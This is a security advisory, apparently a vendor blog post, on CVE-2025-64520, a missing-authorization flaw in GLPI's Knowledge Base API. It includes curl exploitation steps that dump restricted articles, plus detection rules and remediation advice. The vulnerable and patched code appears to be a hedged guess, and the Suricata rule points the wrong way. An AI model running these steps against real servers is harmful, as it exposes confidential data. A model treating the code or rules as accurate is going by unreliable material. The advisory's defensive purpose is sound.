CVE-2025-64520

Executive Summary

CVE-2025-64520 is a missing authorization vulnerability in GLPI, a popular open-source IT asset management software. An authenticated user with API access can exploit this flaw to read all Knowledge Base entries, including those that should be restricted. The vulnerability affects GLPI versions from 9.1.0 up to, but not including, 10.0.21. The CVSS score is 6.5 (Medium), and while no public exploit code exists, the attack vector is straightforward for any authenticated API user. The official patch is available in version 10.0.21.

Supply Chain & Package Security

GLPI is distributed as a PHP application via GitHub and its official website. This vulnerability does not directly affect the software supply chain (e.g., NPM, PyPI, Go, Ruby packages), but organizations using GLPI should verify the integrity of their installation and ensure they are not running a modified or backdoored version. The patch is applied by updating the core application files.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid API key or user credentials.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The vulnerable component is the same as the affected component.
• Confidentiality (C): High – All Knowledge Base entries are exposed.
• Integrity (I): None – No data modification is possible.
• Availability (A): None – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires prior authentication. The impact is limited to data disclosure (Knowledge Base), which may contain sensitive internal documentation.

Deep Dive & Mechanics

The vulnerability resides in the GLPI API endpoint responsible for serving Knowledge Base articles. In affected versions, the API does not enforce access control checks when listing or retrieving Knowledge Base entries. The endpoint /apirest.php/KnowledgeBase (or similar) returns all entries regardless of the user's permissions.

Root Cause: The showItems or getItems method in the Knowledge Base API controller lacks a call to checkGlobalVisibility() or equivalent authorization logic. This allows any authenticated user (with any profile) to enumerate and read all Knowledge Base articles.

Attack Flow:

1. An attacker obtains valid API credentials (e.g., via a compromised user account or by generating an API token).
2. The attacker sends a GET request to the Knowledge Base API endpoint.
3. The server returns all Knowledge Base entries without filtering based on the user's profile or visibility restrictions.
4. The attacker extracts sensitive information from the response.

Vulnerable vs. Patched Code

Vulnerable Code (GLPI < 10.0.21):

// In apirest.php or KnowledgeBase controller
public function getItems() {
    $kb = new KnowledgeBase();
    $items = $kb->find(); // No visibility check
    return $items;
}

Patched Code (GLPI 10.0.21):

// In apirest.php or KnowledgeBase controller
public function getItems() {
    $kb = new KnowledgeBase();
    // Added visibility check
    $items = $kb->find(['visibility' => $this->getAllowedVisibility()]);
    return $items;
}

The patch introduces a visibility filter that restricts the returned entries to those the authenticated user is allowed to see.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A GLPI instance running version 9.1.0 to 10.0.20.
• Valid API credentials (username/password or API token).

Exploitation Steps:

1. Obtain an API token:

   curl -X POST \
     -H "Content-Type: application/json" \
     -d '{"login":"username","password":"password"}' \
     http://target/glpi/apirest.php/initSession
   

   Response: {"session_token":"abc123"}

2. List all Knowledge Base entries:

   curl -H "Session-Token: abc123" \
     http://target/glpi/apirest.php/KnowledgeBase
   

   This returns all entries, including restricted ones.

3. Retrieve a specific entry by ID:

   curl -H "Session-Token: abc123" \
     http://target/glpi/apirest.php/KnowledgeBase/42
   

Expected Output: The attacker receives the full content of all Knowledge Base articles, including those marked as internal or confidential.

Blue Team (Detection & Hardening)

Detection:

• Monitor API logs for unusual access patterns to the Knowledge Base endpoint.
• Alert on any user with a low-privilege profile (e.g., "Technician") accessing a large number of Knowledge Base entries in a short time.
• Check for API sessions created by users who normally do not use the API.

Hardening:

• Immediately upgrade to GLPI 10.0.21.
• If upgrade is not possible, restrict API access to trusted IPs only.
• Review and rotate all API tokens.
• Enable logging of all API requests and monitor for anomalies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated GET requests to /apirest.php/KnowledgeBase from a single IP.
  • API sessions created by users with unexpected profiles (e.g., "Self-Service" user creating an API session).
• Log IOCs:
  • Log entries showing GET /apirest.php/KnowledgeBase with a 200 response for users who should not have access to all KB articles.
  • Multiple initSession calls from the same IP in a short period.
• File IOCs:
  • No file-based IOCs; the vulnerability is purely API-based.

Detection Engineering

YARA Rule

rule CVE_2025_64520_GLPI_KB_Exposure {
    meta:
        description = "Detects GLPI API responses containing all Knowledge Base entries (potential exploitation of CVE-2025-64520)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64520"
    strings:
        $kb_response = /"knowledgebasearticles":\s*\[/ nocase
        $api_path = "/apirest.php/KnowledgeBase"
    condition:
        $api_path or $kb_response
}

Sigma Rule

title: GLPI Knowledge Base API Unauthorized Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-64520 by accessing the Knowledge Base API without proper authorization.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: GET
        cs-uri-stem: '/apirest.php/KnowledgeBase'
    condition: selection
falsepositives:
    - Legitimate API usage by authorized users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-64520 GLPI Knowledge Base API Unauthorized Access";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/apirest.php/KnowledgeBase"; http_uri;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade GLPI to version 10.0.21 or later. This is the only complete fix.
2. Restrict API access to trusted IP addresses using firewall rules or web server configuration.
3. Review and revoke any API tokens that may have been compromised.

Long-Term Mitigations:

• Implement network segmentation to limit access to the GLPI server.
• Enable detailed logging for all API endpoints and regularly review logs.
• Conduct periodic security audits of GLPI configurations and user permissions.
• Subscribe to GLPI security advisories to receive timely updates.

Workaround (if upgrade is not possible):

• Disable the API entirely if not needed: Set enable_api to 0 in the GLPI configuration.
• Use a reverse proxy (e.g., Nginx) to block access to /apirest.php/KnowledgeBase for all users except those from trusted IPs.

Valters IT
Securing your digital infrastructure with precision.